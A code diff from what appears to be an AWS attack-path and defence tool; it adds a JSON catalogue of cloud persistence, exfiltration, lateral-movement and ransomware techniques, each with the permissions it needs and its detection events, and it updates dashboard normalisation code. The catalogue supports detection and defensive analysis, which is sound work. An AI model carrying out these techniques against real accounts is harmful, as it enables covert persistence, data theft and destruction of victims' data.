["iam:UpdateAssumeRolePolicy"], + "what_attacker_achieves": "External attacker account can AssumeRole indefinitely", + "detection_events": ["UpdateAssumeRolePolicy"], + "severity_default": "critical", + "notes": "Modifies the trust policy of an existing role to add the attacker's account or principal. Survives incident response that only resets credentials." + }, + { + "id": "persist-iam-backdoor-policy-version", + "name": "Backdoor policy version", + "required_permissions": ["iam:CreatePolicyVersion"], + "what_attacker_achieves": "Hidden permissive policy version; attacker can switch default later", + "detection_events": ["CreatePolicyVersion"], + "severity_default": "high", + "notes": "Creates a non-default policy version with broad permissions. The version is invisible unless auditors enumerate all policy versions. Attacker can flip it to default at any time." + }, + { + "id": "persist-iam-add-attacker-mfa", + "name": "Add attacker MFA device", + "required_permissions": ["iam:CreateVirtualMFADevice", "iam:EnableMFADevice"], + "what_attacker_achieves": "Locks out legitimate user, attacker controls MFA", + "detection_events": ["CreateVirtualMFADevice", "EnableMFADevice"], + "severity_default": "critical", + "notes": "Attacker registers their own MFA device on the target user. If MFA is enforced, legitimate user loses access. Attacker retains it." + }, + { + "id": "persist-iam-backdoor-saml-oidc", + "name": "Create/backdoor SAML/OIDC provider", + "required_permissions": ["iam:CreateSAMLProvider", "iam:UpdateSAMLProvider", "iam:CreateOpenIDConnectProvider"], + "what_attacker_achieves": "Federated access via attacker's identity provider", + "detection_events": ["CreateSAMLProvider", "UpdateSAMLProvider", "CreateOpenIDConnectProvider"], + "severity_default": "critical", + "notes": "Attacker registers or modifies a SAML/OIDC provider pointing to infrastructure they control. Any role trusting that provider is now attacker-accessible." + }, + { + "id": "persist-iam-disable-mfa", + "name": "Disable MFA", + "required_permissions": ["iam:DeactivateMFADevice"], + "what_attacker_achieves": "Removes MFA barrier for future access", + "detection_events": ["DeactivateMFADevice"], + "severity_default": "high", + "notes": "Deactivates MFA on the compromised principal or other users, enabling password-only authentication for future sessions." + } + ], + "sts": [ + { + "id": "persist-sts-long-lived-tokens", + "name": "Long-lived session tokens", + "required_permissions": ["sts:GetSessionToken"], + "what_attacker_achieves": "36-hour tokens that survive key rotation and can't be enumerated", + "detection_events": ["GetSessionToken"], + "severity_default": "high", + "notes": "GetSessionToken issues tokens valid up to 36 hours. Unlike access keys, these tokens are not listed in IAM — defenders can't enumerate them. Tokens survive static credential rotation." + }, + { + "id": "persist-sts-role-chain-juggling", + "name": "Role chain juggling", + "required_permissions": ["sts:AssumeRole"], + "what_attacker_achieves": "Infinite credential refresh loop — indefinite access with no long-term keys", + "detection_events": ["AssumeRole"], + "severity_default": "high", + "notes": "Attacker assumes roles in a cycle (A assumes B, B assumes A or a third role). Each assumption refreshes credentials. With two mutually-trusting roles, access is indefinite with no static keys to rotate." + }, + { + "id": "persist-sts-federation-token", + "name": "Federation token console access", + "required_permissions": ["sts:GetFederationToken"], + "what_attacker_achieves": "Stealthy console access that doesn't appear in IAM user list", + "detection_events": ["GetFederationToken"], + "severity_default": "high", + "notes": "GetFederationToken creates long-lived (up to 36 hours) federated sessions. Sessions use the calling user's name as a federated identity — hard to distinguish from legitimate use." + } + ], + "ec2": [ + { + "id": "persist-ec2-lifecycle-manager", + "name": "Lifecycle Manager exfiltration", + "required_permissions": ["dlm:CreateLifecyclePolicy"], + "what_attacker_achieves": "Recurring AMI/snapshot sharing to attacker account", + "detection_events": ["CreateLifecyclePolicy"], + "severity_default": "high", + "notes": "DLM lifecycle policies can share snapshots/AMIs to external accounts on a schedule. Provides ongoing data exfiltration without repeated API calls." + }, + { + "id": "persist-ec2-spot-fleet", + "name": "Spot Fleet (long-lived)", + "required_permissions": ["ec2:RequestSpotFleet", "iam:PassRole"], + "what_attacker_achieves": "Up to 5-year compute with high-priv role, auto-beacons to attacker", + "detection_events": ["RequestSpotFleet"], + "severity_default": "high", + "notes": "Spot Fleet requests can have validity periods up to 5 years. Instances run with the passed role and can beacon to attacker C2. Cheaper and longer-lived than On-Demand." + }, + { + "id": "persist-ec2-backdoor-launch-template", + "name": "Backdoor launch template", + "required_permissions": ["ec2:CreateLaunchTemplateVersion", "ec2:ModifyLaunchTemplate"], + "what_attacker_achieves": "Every Auto Scaling instance runs attacker code / has attacker SSH key", + "detection_events": ["CreateLaunchTemplateVersion", "ModifyLaunchTemplate"], + "severity_default": "critical", + "notes": "Modifies the default launch template version to include a malicious user data script or attacker SSH key. All future instances from that template are compromised at launch." + }, + { + "id": "persist-ec2-replace-root-volume", + "name": "Replace root volume", + "required_permissions": ["ec2:CreateReplaceRootVolumeTask"], + "what_attacker_achieves": "Swap root EBS to attacker-controlled volume; instance keeps its IPs and role", + "detection_events": ["CreateReplaceRootVolumeTask"], + "severity_default": "critical", + "notes": "Replaces the root EBS volume of a running instance with an attacker-controlled snapshot. The instance retains its IP addresses, security groups, and IAM role after the swap." + }, + { + "id": "persist-ec2-vpn-into-vpc", + "name": "VPN into VPC", + "required_permissions": ["ec2:CreateVpnGateway", "ec2:CreateVpnConnection", "ec2:CreateCustomerGateway"], + "what_attacker_achieves": "Persistent network-level access into victim VPC", + "detection_events": ["CreateVpnGateway", "CreateVpnConnection", "CreateCustomerGateway"], + "severity_default": "critical", + "notes": "Establishes a Site-to-Site VPN from attacker infrastructure into the victim VPC. Provides persistent L3 access that bypasses security groups and survives instance restarts." + }, + { + "id": "persist-ec2-vpc-peering", + "name": "VPC peering", + "required_permissions": ["ec2:CreateVpcPeeringConnection"], + "what_attacker_achieves": "Direct routing between attacker and victim VPCs", + "detection_events": ["CreateVpcPeeringConnection"], + "severity_default": "high", + "notes": "Creates a VPC peering connection between victim VPC and attacker-controlled VPC. Peering connections persist until explicitly deleted." + }, + { + "id": "persist-ec2-user-data-backdoor", + "name": "User data backdoor", + "required_permissions": ["ec2:ModifyInstanceAttribute"], + "what_attacker_achieves": "Malicious script runs on next instance start", + "detection_events": ["ModifyInstanceAttribute"], + "severity_default": "high", + "notes": "Modifies instance user data to include a backdoor script. The script executes on the next instance start/reboot, establishing persistence without modifying the AMI." + }, + { + "id": "persist-ec2-ssm-state-manager", + "name": "SSM State Manager", + "required_permissions": ["ssm:CreateAssociation"], + "what_attacker_achieves": "Recurring command execution on all SSM-managed instances (every 30 min+)", + "detection_events": ["CreateAssociation"], + "severity_default": "critical", + "notes": "SSM State Manager associations run documents on a schedule across all matching instances. Can target all instances in the account using wildcard resource targeting." + } + ], + "lambda": [ + { + "id": "persist-lambda-layer-backdoor", + "name": "Lambda layer backdoor", + "required_permissions": ["lambda:PublishLayerVersion", "lambda:UpdateFunctionConfiguration"], + "what_attacker_achieves": "Injected code runs on every invocation; function's own code appears clean", + "detection_events": ["PublishLayerVersion", "UpdateFunctionConfiguration"], + "severity_default": "critical", + "notes": "Publishes a malicious Lambda layer and attaches it to target functions. The backdoor code in the layer executes before the function handler. The function's deployment package appears clean in code reviews." + }, + { + "id": "persist-lambda-extension", + "name": "Lambda extension", + "required_permissions": ["lambda:PublishLayerVersion", "lambda:UpdateFunctionConfiguration"], + "what_attacker_achieves": "Separate process intercepts/modifies all requests; inherits execution role", + "detection_events": ["PublishLayerVersion", "UpdateFunctionConfiguration"], + "severity_default": "critical", + "notes": "Lambda extensions run as a separate process alongside the function. Unlike layers, extensions can intercept requests/responses and run after the handler returns. They inherit the execution role." + }, + { + "id": "persist-lambda-resource-policy-cross-account", + "name": "Resource policy (cross-account invoke)", + "required_permissions": ["lambda:AddPermission"], + "what_attacker_achieves": "External account can invoke/update the function indefinitely", + "detection_events": ["AddPermission20150331v2"], + "severity_default": "high", + "notes": "Adds a resource-based policy granting an attacker-controlled AWS account permission to invoke the function. Survives role rotation and is easy to miss in IAM audits." + }, + { + "id": "persist-lambda-weighted-alias", + "name": "Weighted alias distribution", + "required_permissions": ["lambda:PublishVersion", "lambda:CreateAlias"], + "what_attacker_achieves": "Backdoored version receives 1% of traffic — extremely stealthy", + "detection_events": ["PublishVersion", "CreateAlias"], + "severity_default": "high", + "notes": "Publishes a backdoored function version and creates/updates an alias with weighted routing (e.g., 99% legitimate, 1% backdoor). Very low traffic rate makes anomaly detection difficult." + }, + { + "id": "persist-lambda-exec-wrapper", + "name": "EXEC_WRAPPER env var", + "required_permissions": ["lambda:UpdateFunctionConfiguration"], + "what_attacker_achieves": "Wrapper script executes before every handler; steals credentials", + "detection_events": ["UpdateFunctionConfiguration"], + "severity_default": "critical", + "notes": "Sets the AWS_LAMBDA_EXEC_WRAPPER environment variable to a path in an attacker-controlled layer. The wrapper runs before every handler invocation and can exfiltrate execution role credentials." + }, + { + "id": "persist-lambda-async-self-loop", + "name": "Async self-loop", + "required_permissions": ["lambda:UpdateFunctionEventInvokeConfig", "lambda:PutFunctionRecursionConfig"], + "what_attacker_achieves": "Code-free heartbeat loop; function reinvokes itself via destinations", + "detection_events": ["UpdateFunctionEventInvokeConfig", "PutFunctionRecursionConfig"], + "severity_default": "high", + "notes": "Configures the function to invoke itself asynchronously via on-failure/on-success destinations. Creates a persistent execution loop that doesn't require external triggers." + }, + { + "id": "persist-lambda-cron-trigger", + "name": "Cron/Event trigger", + "required_permissions": ["events:PutRule", "events:PutTargets"], + "what_attacker_achieves": "Scheduled or event-driven execution of attacker function", + "detection_events": ["PutRule", "PutTargets"], + "severity_default": "high", + "notes": "Creates an EventBridge rule targeting a Lambda function (attacker's or backdoored). Can trigger on a cron schedule or on specific AWS events (e.g., console login, role assumption)." + }, + { + "id": "persist-lambda-alias-scoped-resource-policy", + "name": "Alias-scoped resource policy", + "required_permissions": ["lambda:AddPermission"], + "what_attacker_achieves": "Hidden invoke permission on specific backdoored version only", + "detection_events": ["AddPermission20150331v2"], + "severity_default": "high", + "notes": "Adds a resource policy with a --qualifier scoped to a specific alias or version. The permission only appears when enumerating that specific qualifier, making it easy to miss in broad audits." + }, + { + "id": "persist-lambda-freeze-runtime", + "name": "Freeze runtime version", + "required_permissions": ["lambda:PutRuntimeManagementConfig"], + "what_attacker_achieves": "Pins vulnerable runtime; prevents auto-patching", + "detection_events": ["PutRuntimeManagementConfig"], + "severity_default": "high", + "notes": "Pins the Lambda runtime to a specific version using manual update mode. Prevents AWS from auto-applying runtime patches. Preserves any runtime-level vulnerabilities the attacker is exploiting." + } + ], + "storage": [ + { + "id": "persist-storage-s3-acl-backdoor", + "name": "S3 ACL backdoor", + "required_permissions": ["s3:PutBucketAcl"], + "what_attacker_achieves": "Full control via ACLs — often overlooked in audits", + "detection_events": ["PutBucketAcl"], + "severity_default": "high", + "notes": "Grants an attacker-controlled account full control via S3 bucket ACLs. ACLs are often overlooked when auditing bucket policies. Persists until explicitly removed." + }, + { + "id": "persist-storage-kms-key-policy", + "name": "KMS key policy backdoor", + "required_permissions": ["kms:PutKeyPolicy"], + "what_attacker_achieves": "External account gets permanent decrypt access to all data using that key", + "detection_events": ["PutKeyPolicy"], + "severity_default": "critical", + "notes": "Modifies the KMS key policy to grant the attacker's account kms:Decrypt and kms:GenerateDataKey. All data encrypted with that key is permanently accessible to the attacker." + }, + { + "id": "persist-storage-kms-eternal-grant", + "name": "KMS eternal grant", + "required_permissions": ["kms:CreateGrant"], + "what_attacker_achieves": "Self-renewing grants — attacker can re-create grants even if some are revoked", + "detection_events": ["CreateGrant"], + "severity_default": "critical", + "notes": "Creates a KMS grant with CreateGrant permission in the grant constraints. Even if defenders revoke the grant, the attacker can recreate it. Grants bypass IAM policy and persist independently." + }, + { + "id": "persist-storage-secretsmanager-resource-policy", + "name": "Secrets Manager resource policy", + "required_permissions": ["secretsmanager:PutResourcePolicy"], + "what_attacker_achieves": "External account reads secrets indefinitely", + "detection_events": ["PutResourcePolicy"], + "severity_default": "critical", + "notes": "Attaches a resource policy to a Secrets Manager secret granting the attacker's account GetSecretValue. Survives secret rotation — the policy persists on the secret regardless of value changes." + }, + { + "id": "persist-storage-malicious-rotation-lambda", + "name": "Malicious rotation Lambda", + "required_permissions": ["secretsmanager:RotateSecret", "iam:PassRole"], + "what_attacker_achieves": "Every scheduled rotation exfiltrates current secret values", + "detection_events": ["RotateSecret"], + "severity_default": "critical", + "notes": "Points the secret's rotation Lambda to an attacker-controlled function. Every subsequent rotation event calls the malicious function, which exfiltrates the new secret value before completing rotation." + }, + { + "id": "persist-storage-version-stage-hijacking", + "name": "Version stage hijacking", + "required_permissions": ["secretsmanager:PutSecretValue", "secretsmanager:UpdateSecretVersionStage"], + "what_attacker_achieves": "Hidden secret version; attacker atomically flips AWSCURRENT on demand", + "detection_events": ["PutSecretValue", "UpdateSecretVersionStage"], + "severity_default": "high", + "notes": "Creates a hidden secret version with a known value. The attacker can atomically promote it to AWSCURRENT at a chosen moment, poisoning all systems that read the secret." + }, + { + "id": "persist-storage-cross-region-replica", + "name": "Cross-region replica promotion", + "required_permissions": ["secretsmanager:ReplicateSecretToRegions", "secretsmanager:StopReplicationToReplica"], + "what_attacker_achieves": "Standalone replica under attacker KMS key in untrusted region", + "detection_events": ["ReplicateSecretToRegions", "StopReplicationToReplica"], + "severity_default": "high", + "notes": "Replicates the secret to a region encrypted with an attacker-controlled KMS key, then stops replication to make the replica standalone. The replica retains the current secret value and is independently accessible." + } + ] + }, + "post_exploitation": { + "data_exfiltration": [ + { + "id": "postex-s3-data-theft", + "name": "S3 data theft", + "required_permissions": ["s3:GetObject", "s3:ListBucket"], + "impact": "Read sensitive data: Terraform state, backups, database dumps, configs", + "detection_events": ["GetObject", "ListBuckets"], + "severity_default": "high", + "notes": "High-value targets: buckets with names matching *prod*, *backup*, *config*, *terraform*, *state*." + }, + { + "id": "postex-ebs-snapshot-dump", + "name": "EBS snapshot dump", + "required_permissions": ["ec2:CreateSnapshot", "ec2:ModifySnapshotAttribute"], + "impact": "Share disk snapshots to attacker account for offline analysis", + "detection_events": ["CreateSnapshot", "ModifySnapshotAttribute"], + "severity_default": "critical", + "notes": "Share EBS snapshots to an attacker-controlled account. Full disk image of production volumes accessible offline. Check for snapshots of database volumes and root volumes." + }, + { + "id": "postex-ami-sharing", + "name": "AMI sharing", + "required_permissions": ["ec2:CreateImage", "ec2:ModifyImageAttribute"], + "impact": "Full disk image of running instance shared externally", + "detection_events": ["CreateImage", "ModifyImageAttribute"], + "severity_default": "critical", + "notes": "Creates an AMI from a running instance and shares it to an attacker account. Includes all data on attached volumes at time of snapshot. More complete than snapshot dump (captures all volumes)." + }, + { + "id": "postex-secrets-batch-exfil", + "name": "Secrets Manager batch exfil", + "required_permissions": ["secretsmanager:BatchGetSecretValue", "secretsmanager:GetSecretValue"], + "impact": "Mass retrieval of secrets (up to 20/call)", + "detection_events": ["BatchGetSecretValue", "GetSecretValue"], + "severity_default": "critical", + "notes": "BatchGetSecretValue retrieves up to 20 secrets in a single API call, reducing CloudTrail noise vs individual GetSecretValue calls. Prioritize secrets with names matching *prod*, *db*, *rds*, *api*." + }, + { + "id": "postex-kms-decrypt", + "name": "KMS decrypt data", + "required_permissions": ["kms:Decrypt"], + "impact": "Decrypt any data encrypted with accessible KMS keys", + "detection_events": ["Decrypt"], + "severity_default": "high", + "notes": "kms:Decrypt combined with S3/EBS/Secrets access unlocks encrypted data at rest. Check which keys are accessible and what services use them." + }, + { + "id": "postex-lambda-credential-theft", + "name": "Lambda credential theft", + "required_permissions": ["lambda:InvokeFunction"], + "impact": "Steal execution role credentials from /proc/self/environ", + "detection_events": ["Invoke20150331v2"], + "severity_default": "high", + "notes": "Invoke an existing Lambda with a payload that returns environment variables or AWS_* credentials from /proc/self/environ. Credentials are temporary STS tokens but may have high privilege." + }, + { + "id": "postex-vpc-traffic-mirror", + "name": "VPC traffic mirror", + "required_permissions": ["ec2:CreateTrafficMirrorSession", "ec2:CreateTrafficMirrorTarget", "ec2:CreateTrafficMirrorFilter"], + "impact": "Passive capture of all network traffic from target instances", + "detection_events": ["CreateTrafficMirrorSession", "CreateTrafficMirrorTarget", "CreateTrafficMirrorFilter"], + "severity_default": "critical", + "notes": "Creates a traffic mirroring session that copies all ENI traffic to an attacker-controlled target. Captures unencrypted traffic including API calls, database queries, and application data." + }, + { + "id": "postex-glacier-restoration", + "name": "Glacier restoration", + "required_permissions": ["s3:RestoreObject", "s3:GetObject"], + "impact": "Restore and exfiltrate archived data assumed inaccessible", + "detection_events": ["RestoreObject", "GetObject"], + "severity_default": "high", + "notes": "Restores Glacier/S3 Glacier Deep Archive objects and exfiltrates them. Defenders often assume archived data is inaccessible. Restoration is asynchronous — plan for 12-48 hour delay." + }, + { + "id": "postex-ebs-multiattach-live-read", + "name": "EBS Multi-Attach live read", + "required_permissions": ["ec2:AttachVolume"], + "impact": "Read live production data without creating snapshots", + "detection_events": ["AttachVolume"], + "severity_default": "critical", + "notes": "io1/io2 volumes support Multi-Attach — can be attached to an attacker-controlled instance while still attached to production. Reads live data without the snapshot creation events that typically trigger alerts." + }, + { + "id": "postex-codebuild-env-var-secret-exfil", + "name": "CodeBuild environment variable secret exfiltration", + "required_permissions": ["codebuild:BatchGetProjects"], + "impact": "Plaintext credential retrieval: database passwords, API keys, OAuth tokens stored in CodeBuild project environment variables", + "detection_events": ["BatchGetProjects"], + "severity_default": "high", + "notes": "CodeBuild projects sometimes store secrets directly in environment variable definitions visible via BatchGetProjects — returned in plaintext in the API response. Check codebuild.json for env_secrets_exposure: true or environment variable names matching secret patterns (PASSWORD, SECRET, KEY, TOKEN, DB_, ACCESS_KEY, PRIVATE). Flag existence — do NOT read values in SCOPE output. This is a read-only reconnaissance technique; actual exploitation requires using the retrieved credentials against their target service." + }, + { + "id": "postex-s3-access-point-delegation", + "name": "S3 Access Points cross-account delegation bypass", + "required_permissions": ["s3:CreateAccessPoint", "s3:PutBucketPolicy"], + "impact": "Cross-account data access to S3 bucket contents bypassing the bucket's main access policy", + "detection_events": ["CreateAccessPoint", "PutBucketPolicy", "GetObject"], + "severity_default": "high", + "notes": "S3 Access Points allow creating separate access policies per application. An attacker with s3:PutBucketPolicy on a sensitive bucket can add a statement delegating s3:CreateAccessPoint to an attacker-controlled account. The attacker then creates an access point in their own account for the target bucket, gaining read access to all objects under the access point's scope — bypassing any IP conditions or principal conditions in the main bucket policy. Check s3.json bucket policies for statements that include s3:CreateAccessPoint or s3:* with cross-account principals. Unlike direct bucket policy changes, the access point delegation creates a persistent exfiltration channel that survives cleanup of the original policy statement if the access point is not deleted." + } + ], + "lateral_movement": [ + { + "id": "postex-cross-account-role-assumption", + "name": "Cross-account role assumption", + "required_permissions": ["sts:AssumeRole"], + "impact": "Pivot into other AWS accounts via trust relationships", + "detection_events": ["AssumeRole"], + "severity_default": "critical", + "notes": "Enumerate cross-account trust relationships from iam.json. Roles with Principal:* or wildcards are high-value pivots. Check config/accounts.json to distinguish internal vs external trusts." + }, + { + "id": "postex-ssm-session-port-forward", + "name": "SSM session + port forwarding", + "required_permissions": ["ssm:StartSession"], + "impact": "Pivot through EC2 instances behind restrictive SGs/NACLs", + "detection_events": ["StartSession"], + "severity_default": "high", + "notes": "SSM Session Manager bypasses security groups entirely — traffic goes through the SSM endpoint. Port forwarding allows tunneling to RDS, Elasticache, or internal services unreachable from outside." + }, + { + "id": "postex-lambda-event-source-hijack", + "name": "Lambda event source hijack", + "required_permissions": ["lambda:UpdateEventSourceMapping"], + "impact": "Redirect DynamoDB/Kinesis/SQS data streams to attacker function", + "detection_events": ["UpdateEventSourceMapping20150331v2"], + "severity_default": "high", + "notes": "Modifies an existing event source mapping to point a DynamoDB stream, Kinesis stream, or SQS queue at an attacker-controlled Lambda. All records processed by the legitimate function are also seen by the attacker." + }, + { + "id": "postex-ec2-instance-connect-endpoint", + "name": "EC2 instance connect endpoint", + "required_permissions": ["ec2:CreateInstanceConnectEndpoint"], + "impact": "SSH access to private instances with no public IP", + "detection_events": ["CreateInstanceConnectEndpoint"], + "severity_default": "high", + "notes": "Creates an Instance Connect Endpoint that enables SSH to private instances in a VPC without a bastion host or public IP. The endpoint is created in the VPC and tunnels through AWS." + }, + { + "id": "postex-ecs-agent-impersonation", + "name": "ECS agent impersonation (ECScape)", + "required_permissions": ["ecs:DiscoverPollEndpoint"], + "impact": "Steal all task role credentials on the host", + "detection_events": ["DiscoverPollEndpoint"], + "severity_default": "critical", + "notes": "From IMDS access on an ECS-managed EC2 host, an attacker can impersonate the ECS agent to steal credentials for all tasks running on that host. ECScape technique — access IMDS to get container credentials then call DiscoverPollEndpoint." + }, + { + "id": "postex-s3-code-injection", + "name": "S3 code injection", + "required_permissions": ["s3:PutObject"], + "impact": "Modify S3-hosted code (Airflow DAGs, JS, CloudFormation) to pivot", + "detection_events": ["PutObject"], + "severity_default": "critical", + "notes": "Overwrite S3-hosted code files: Airflow DAG definitions, JavaScript bundles, CloudFormation templates, or configuration files loaded at runtime. Code executes with the consuming service's permissions." + }, + { + "id": "postex-eni-private-ip-hijack", + "name": "ENI private IP hijack", + "required_permissions": ["ec2:AssignPrivateIpAddresses"], + "impact": "Impersonate trusted internal hosts; bypass IP-based ACLs", + "detection_events": ["AssignPrivateIpAddresses"], + "severity_default": "high", + "notes": "Assigns a secondary private IP from another host to an attacker-controlled instance. Allows bypassing IP-based NACLs and security group rules that trust specific private IPs." + }, + { + "id": "postex-elastic-ip-hijack", + "name": "Elastic IP hijack", + "required_permissions": ["ec2:DisassociateAddress", "ec2:AssociateAddress"], + "impact": "Intercept inbound traffic; appear as trusted IP", + "detection_events": ["DisassociateAddress", "AssociateAddress"], + "severity_default": "high", + "notes": "Disassociates an Elastic IP from a legitimate instance and reassociates it to an attacker-controlled instance. All inbound traffic to that EIP is now directed to the attacker." + }, + { + "id": "postex-sg-prefix-list-expansion", + "name": "Security group via prefix lists", + "required_permissions": ["ec2:ModifyManagedPrefixList"], + "impact": "Silently expand network access across all referencing SGs", + "detection_events": ["ModifyManagedPrefixList"], + "severity_default": "high", + "notes": "Adds attacker-controlled IP ranges to a managed prefix list. Any security group referencing that prefix list automatically allows the attacker's IPs. A single API call can expand access across hundreds of SGs." + }, + { + "id": "postex-lambda-vpc-egress-bypass", + "name": "Lambda VPC egress bypass", + "required_permissions": ["lambda:UpdateFunctionConfiguration"], + "impact": "Remove Lambda from restricted VPC; restore internet access", + "detection_events": ["UpdateFunctionConfiguration"], + "severity_default": "high", + "notes": "Removes a Lambda function's VPC configuration, giving it unrestricted internet access. Useful when the function has a high-privilege execution role but is isolated in a private VPC with no NAT gateway." + }, + { + "id": "postex-codepipeline-artifact-override", + "name": "CodePipeline artifact bucket poisoning — Deploy attacker code via pipeline service role", + "required_permissions": ["s3:PutObject"], + "impact": "Code execution in deployment targets with CodePipeline service role permissions (often cross-account, often production)", + "detection_events": ["PutObject", "StartPipelineExecution", "PutActionRevision"], + "severity_default": "critical", + "notes": "If codebuild.json shows a project with pipeline_source pointing to an S3 bucket, and the caller has s3:PutObject on that bucket, replacing the artifact triggers the pipeline — executing attacker-controlled code with the pipeline service role. This role typically has broad deployment permissions including cross-account assume role to production. Sub-technique: codepipeline:PutActionRevision injects a different source revision into a running pipeline without stopping it, potentially bypassing approval gates on specific revisions. Impact radius depends on how many AWS accounts the pipeline deploys to." + } + ], + "destructive_actions": [ + { + "id": "postex-kms-ransomware-policy-swap", + "name": "KMS ransomware (policy swap)", + "required_permissions": ["kms:PutKeyPolicy"], + "impact": "Lock victim out of all data encrypted with the key", + "detection_events": ["PutKeyPolicy"], + "severity_default": "critical", + "notes": "Replaces the KMS key policy to remove all victim account access. All data encrypted with the key becomes permanently inaccessible unless key policy is restored within the deletion window." + }, + { + "id": "postex-kms-ransomware-reencrypt", + "name": "KMS ransomware (re-encryption)", + "required_permissions": ["kms:ReEncrypt", "kms:ScheduleKeyDeletion"], + "impact": "Re-encrypt with attacker key, delete original", + "detection_events": ["ReEncrypt", "ScheduleKeyDeletion"], + "severity_default": "critical", + "notes": "Re-encrypts all data with an attacker-controlled KMS key, then schedules deletion of the original key. Data is inaccessible without the attacker's key after the 7-30 day deletion window." + }, + { + "id": "postex-s3-ransomware-ssec", + "name": "S3 ransomware (SSE-C)", + "required_permissions": ["s3:PutObject"], + "impact": "Rewrite objects with attacker-held encryption key", + "detection_events": ["PutObject"], + "severity_default": "critical", + "notes": "Re-uploads S3 objects with SSE-C using an attacker-only encryption key. Original objects are overwritten. Without versioning enabled, originals are permanently lost. SSE-C keys are not stored by AWS." + }, + { + "id": "postex-ebs-ransomware", + "name": "EBS ransomware", + "required_permissions": ["ec2:CreateSnapshot", "kms:ReEncrypt", "ec2:DeleteVolume"], + "impact": "Encrypt all volumes with attacker key, delete originals", + "detection_events": ["CreateSnapshot", "ReEncrypt", "DeleteVolume"], + "severity_default": "critical", + "notes": "Snapshot all EBS volumes, re-encrypt snapshots with attacker KMS key, restore to new volumes, then delete originals. Production data is fully inaccessible without attacker cooperation." + }, + { + "id": "postex-secret-value-poisoning", + "name": "Secret value poisoning", + "required_permissions": ["secretsmanager:PutSecretValue"], + "impact": "DoS all systems depending on that secret", + "detection_events": ["PutSecretValue"], + "severity_default": "high", + "notes": "Overwrites a secret's value with invalid data (wrong password, invalid API key). Every service that reads the secret will fail to authenticate. Cascading failures across all consumers of the secret." + }, + { + "id": "postex-kms-key-deletion", + "name": "KMS key deletion", + "required_permissions": ["kms:ScheduleKeyDeletion"], + "impact": "Permanent data loss after 7-day window", + "detection_events": ["ScheduleKeyDeletion"], + "severity_default": "critical", + "notes": "Schedules KMS key deletion (minimum 7 days). After deletion, all data encrypted with the key is permanently unrecoverable. AWS does not retain key material after deletion." + }, + { + "id": "postex-iam-identity-deletion", + "name": "IAM identity deletion", + "required_permissions": ["iam:DeleteUser", "iam:DeleteRole"], + "impact": "Destroy identities and audit trails", + "detection_events": ["DeleteUser", "DeleteRole"], + "severity_default": "high", + "notes": "Deletes IAM users and roles to disrupt operations and destroy audit trails. Deleting the break-glass admin role creates a lockout scenario. Role deletion is not immediately reversible." + }, + { + "id": "postex-flow-log-deletion", + "name": "Flow log deletion", + "required_permissions": ["ec2:DeleteFlowLogs"], + "impact": "Blind defenders to network activity", + "detection_events": ["DeleteFlowLogs"], + "severity_default": "high", + "notes": "Deletes VPC flow logs to remove network visibility. Defenders lose the ability to trace lateral movement, data exfiltration paths, or C2 communication after the logs are deleted." + }, + { + "id": "postex-federation-provider-deletion", + "name": "Federation provider deletion", + "required_permissions": ["iam:DeleteSAMLProvider", "iam:DeleteOpenIDConnectProvider"], + "impact": "Break all SSO/federated access", + "detection_events": ["DeleteSAMLProvider", "DeleteOpenIDConnectProvider"], + "severity_default": "critical", + "notes": "Deletes SAML or OIDC identity providers used for SSO. All users authenticating via that provider immediately lose access. In orgs that rely entirely on federated access, this is a full lockout." + } + ] + } } diff --git a/dashboard/index.html b/dashboard/index.html deleted file mode 100644 index fe1500c..0000000 --- a/dashboard/index.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - SCOPE — Attack Graph - - - - - - -
- - - diff --git a/dashboard/src/App.jsx b/dashboard/src/App.jsx index 180ce09..a2e779b 100644 --- a/dashboard/src/App.jsx +++ b/dashboard/src/App.jsx @@ -170,18 +170,30 @@ function normalizeForDashboard(json, indexSource) { // Map summary field variants to dashboard-expected names if (!data.summary) data.summary = {}; const s = data.summary; - // Array lengths ALWAYS win for defend KPIs — summary fields become informational only - s.detections_generated = data.detections?.length ?? 0; - s.scps_generated = data.scps?.length ?? s.scps_generated ?? s.scps ?? 0; - s.rcps_generated = data.rcps?.length ?? s.rcps_generated ?? s.rcps ?? 0; - s.controls_recommended = data.security_controls?.length ?? 0; // Normalize audit_run (string) → audit_runs_analyzed (array) if (!data.audit_runs_analyzed && data.audit_run) { data.audit_runs_analyzed = [data.audit_run]; } - // Split flat policies[] array by type into separate scps[]/rcps[] arrays + // New schema (78-defend-rework): guardrails[] array with type: "scp"|"rcp" + // Derive scps[]/rcps[] from guardrails[] for PolicyViewer compatibility + if (Array.isArray(data.guardrails) && !data.scps && !data.rcps) { + const mapGuardrail = (g) => ({ + name: g.name || g.file?.replace(/^policies\//, "").replace(/\.json$/, "") || "Unnamed", + policy_json: g.policy_json || null, + source_attack_paths: g.source_attack_paths || [], + impact_analysis: g.impact_analysis || { + prevents: [], + blast_radius: "unknown", + break_glass: "none", + }, + }); + data.scps = data.guardrails.filter((g) => g.type === "scp").map(mapGuardrail); + data.rcps = data.guardrails.filter((g) => g.type === "rcp").map(mapGuardrail); + } + + // Legacy flat policies[] array by type into separate scps[]/rcps[] arrays // Some agents produce policies: [{ file, type: "SCP", ... }] instead of scps[]/rcps[] if (!data.scps && !data.rcps && Array.isArray(data.policies)) { const mapPolicy = (p) => ({ @@ -201,6 +213,23 @@ function normalizeForDashboard(json, indexSource) { .filter((p) => (p.type || "").toUpperCase() === "RCP") .map(mapPolicy); } + + // Normalize remediation: new schema uses remediation.items count; legacy used prioritization[] + if (!data.prioritization && data.remediation?.file) { + // New schema: expose file path and item count for the Remediation tab + data.remediationPlanFile = data.remediation.file; + data.remediationItemCount = data.remediation.items ?? 0; + } + + // KPI derivation — array lengths ALWAYS win for defend KPIs + // New field names: summary.guardrails, summary.detections, summary.remediation_items + // Legacy field names preserved as fallbacks for backward compatibility + s.scps_generated = data.scps?.length ?? 0; + s.rcps_generated = data.rcps?.length ?? 0; + s.detections_generated = data.detections?.length ?? s.detections ?? 0; + s.remediation_items = s.remediation_items ?? data.remediation?.items ?? 0; + // controls_recommended: new schema has no security_controls[] — map to remediation_items + s.controls_recommended = s.remediation_items; } // Severity canonicalization: normalize aliases to canonical values @@ -2271,13 +2300,13 @@ function DefendView({ data }) { setDefendTab("policies")} active={defendTab === "policies"} /> setDefendTab("policies")} active={defendTab === "policies"} /> setDefendTab("detections")} active={defendTab === "detections"} /> - setDefendTab("controls")} active={defendTab === "controls"} /> + setDefendTab("remediation")} active={defendTab === "remediation"} /> setDefendTab("executive")} active={defendTab === "executive"} /> {/* Main Content: Sidebar + Tabbed Center */}
